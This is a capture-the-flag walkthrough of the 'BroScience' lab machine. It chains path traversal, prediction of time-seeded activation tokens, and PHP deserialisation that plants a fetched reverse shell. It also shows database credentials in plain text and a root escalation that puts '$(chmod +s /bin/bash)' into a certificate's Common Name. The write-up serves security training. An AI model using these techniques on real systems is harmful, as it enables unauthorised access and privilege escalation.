We have two HTTP ports, and we would have to add broscience.htb to our /etc/hosts file in order to access them. Visiting port 80 redirects us to the HTTPS site.
Vhost and directory scans don't reveal much regarding this.
BroScience Enumeration
We can take note that there is an administrator user present on the website, as they have made posts. Also, there's a login feature for this website. We are redirected to login.php when we click on Log In.
Within each post, there's an Add Comment functionality that requires us to be logged in. I attempted to register an account, but this didn't work because we had to find an activation link.
So there's an activation link of some sort. I ran a directory scan for .php files on the website, and found quite a few.
From here, we can see that is a postgres and bill user on the machine. Now, I wanted to read the files located within the machine to find some useful files within the /includes directory.
I was able to read the db_connect.php file by double URL encoding ../includes/db_connect.php and passing it as the parameter.
Trying this credential found does not work anywhere though. So I read the other files, and the utils.php file contained some useful information about how the activation code was generated.
We can see that this uses srand(time()) to generate the code. I found a few sources saying how this was a bad seed for a token as it can be predictable.
Perhaps we had to spoof the token somehow via brute force. We can also check activate.php, which we found earlier.
if (isset($_GET['code'])) {// Check if code is formatted correctly (regex)if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {// Check for code in databaseinclude_once'includes/db_connect.php'; $res = pg_prepare($db_conn, "check_code_query", 'SELECT id, is_activated::int FROM users WHERE activation_code=$1');
$res =pg_execute($db_conn,"check_code_query", array($_GET['code']));if (pg_num_rows($res)==1) {// Check if account already activated $row =pg_fetch_row($res);if (!(bool)$row[1]) {// Activate account $res = pg_prepare($db_conn, "activate_account_query", 'UPDATE users SET is_activated=TRUE WHERE id=$1');
$res =pg_execute($db_conn,"activate_account_query", array($row[0])); $alert ="Account activated!"; $alert_type ="success"; } else { $alert ='Account already activated.'; } } else { $alert ="Invalid activation code."; } } else { $alert ="Invalid activation code."; }} else { $alert ="Missing activation code.";}
There is an account query being made, and regex is used to detect the presence of a 32-character long code. For this, we can simply use the fact that when we register an account, there is a specific time on the system being used at that moment to generate our activation token in the database.
This is the HTTP response when we submit a new register request:
HTTP/1.1 200 OKDate:Wed, 11 Jan 2023 04:26:56 GMTServer:Apache/2.4.54 (Debian)Expires:Thu, 19 Nov 1981 08:52:00 GMTCache-Control:no-store, no-cache, must-revalidatePragma:no-cacheVary:Accept-EncodingContent-Length:2409Connection:closeContent-Type:text/html; charset=UTF-8
Notice that there's a specific time specified by the machine. Perhaps we can just use this time to generate our activation cookie and then head to activate.php which asks for a code parameter. So, we can first copy the code used to generate the activation_code parameter.
Then, we can change the usage of time() to strtotime('Wed, 11 Jan 2023 04:41:37 GMT'), which is the time I registered a new account. The end script and output looks like this:
Afterwards, we use this token variable at activate.php.
Afterwards, we can just login as the user.
PHP Deserialisation
When reading the utils.php code some more, I found a few interesting bits. First is a hint to use deserialisation to exploit the machine, and a class called Avatar to exploit it with.
The function is called via the swap_theme.php file. (use LFI to read)
swap_theme.php
// Swap the themeinclude_once"includes/utils.php";if (strcmp(get_theme(),"light")===0) {set_theme("dark");} else {set_theme("light");}
Here's a good article to read on exploiting PHP deserialisation:
Now, within the Avatar class, we can see a __construct function being used, which is invoked when an object is created. The class also takes in tmp file and writes it out on the machine.
So the exploit path is simple:
Create a new object via injection
Have the machine use fopen to read a file (via HTTP) and write it to the machine. This file would be a reverse shell.
Then, we need to generate a cookie using specific values from the classes. A simple script with pre-defined variables to serialise and create our cookie suffices.
Then, we can simply send a request with this the output as the cookie. We would get a few hits on our HTTP server.
Then we can simply curl it to gain a reverse shell.
Privilege Escalation
PostgreSQL Creds
Earlier, we found a db_connect.php file that contained some credentials. We can attempt to access the PostgreSQL instance listening on port 5432 on the machine.
www-data@broscience:/var/www/html$ psql-hlocalhost-dbroscience-Udbuser-W# Password is RangeOfMotion%777
We can use \d to read the tables present on the machine.
Schema | Name | Type | Owner
--------+------------------+----------+----------
public | comments | table | postgres
public | comments_id_seq | sequence | postgres
public | exercises | table | postgres
public | exercises_id_seq | sequence | postgres
public | users | table | postgres
public | users_id_seq | sequence | postgres
Then, we can read the stuff in the users file.
We would find lots of hashes. Since the user on the machine is bill, let's attempt to crack his hash. The db_connect.php file did have a salt for the hashes as "NaCl". Using this, we can generate a wordlist based on rockyou.txt with this salt prepended to all the words.
Very obviously, the commonName parameter is where we would store our payload to become root. We can use openssl to generate a quick cert to exploit this and create an SUID bash binary. We can leave all the other parameters blank except for the Common Name.
bill@broscience:~/Certs$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout broscience.key -out broscience.crt
Generating a RSA private key
.....................................................................................++++
....................++++
writing new private key to 'broscience.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod +s /bin/bash)
Email Address []:
After a while, it would execute and allow us to spawn in a root shell.